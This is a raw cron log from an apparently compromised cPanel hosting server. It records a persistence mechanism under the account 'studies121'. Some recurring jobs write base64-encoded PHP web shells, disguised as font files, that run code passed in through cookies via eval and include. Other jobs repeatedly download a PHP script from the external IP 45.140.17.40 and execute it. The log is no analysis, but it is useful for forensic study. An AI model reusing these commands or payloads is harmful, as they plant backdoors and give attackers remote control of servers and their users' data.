Sep 22 04:03:01 ip-184-168-122-23 CROND[10821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:03:01 ip-184-168-122-23 CROND[10823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:03:01 ip-184-168-122-23 CROND[10825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:03:01 ip-184-168-122-23 CROND[10826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:04:01 ip-184-168-122-23 CROND[11011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:04:01 ip-184-168-122-23 CROND[11014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:04:01 ip-184-168-122-23 CROND[11015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:04:01 ip-184-168-122-23 CROND[11013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:04:01 ip-184-168-122-23 CROND[11016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:05:01 ip-184-168-122-23 CROND[11134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:05:01 ip-184-168-122-23 CROND[11136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:05:01 ip-184-168-122-23 CROND[11132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:05:01 ip-184-168-122-23 CROND[11133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:05:01 ip-184-168-122-23 CROND[11137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:05:01 ip-184-168-122-23 CROND[11139]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 04:05:01 ip-184-168-122-23 CROND[11138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:06:01 ip-184-168-122-23 CROND[11269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:06:01 ip-184-168-122-23 CROND[11270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:06:01 ip-184-168-122-23 CROND[11273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:06:01 ip-184-168-122-23 CROND[11274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:06:01 ip-184-168-122-23 CROND[11272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:07:01 ip-184-168-122-23 CROND[11399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:07:01 ip-184-168-122-23 CROND[11401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:07:01 ip-184-168-122-23 CROND[11402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:07:01 ip-184-168-122-23 CROND[11403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:08:01 ip-184-168-122-23 CROND[11526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:08:01 ip-184-168-122-23 CROND[11528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:08:01 ip-184-168-122-23 CROND[11529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:08:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:08:01 ip-184-168-122-23 CROND[11531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:09:01 ip-184-168-122-23 CROND[11744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:09:01 ip-184-168-122-23 CROND[11746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:09:01 ip-184-168-122-23 CROND[11747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:09:01 ip-184-168-122-23 CROND[11748]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 04:09:01 ip-184-168-122-23 CROND[11749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:10:01 ip-184-168-122-23 CROND[11880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:10:01 ip-184-168-122-23 CROND[11883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 04:10:01 ip-184-168-122-23 CROND[11884]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 04:11:01 ip-184-168-122-23 CROND[12016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:11:01 ip-184-168-122-23 CROND[12018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:11:01 ip-184-168-122-23 CROND[12017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:11:01 ip-184-168-122-23 CROND[12019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:12:01 ip-184-168-122-23 CROND[12164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:12:01 ip-184-168-122-23 CROND[12165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:12:01 ip-184-168-122-23 CROND[12167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:12:01 ip-184-168-122-23 CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:12:01 ip-184-168-122-23 CROND[12170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:13:02 ip-184-168-122-23 CROND[12325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:13:02 ip-184-168-122-23 CROND[12326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:13:02 ip-184-168-122-23 CROND[12328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:13:02 ip-184-168-122-23 CROND[12329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:14:01 ip-184-168-122-23 CROND[12586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 04:14:01 ip-184-168-122-23 CROND[12589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 04:14:01 ip-184-168-122-23 CROND[12588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 04:14:01 ip-184-168-122-23 CROND[12590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 04:14:01 ip-184-168-122-23 CROND[12591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 04:15:01 ip-184-168-122-23 CROND[12741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
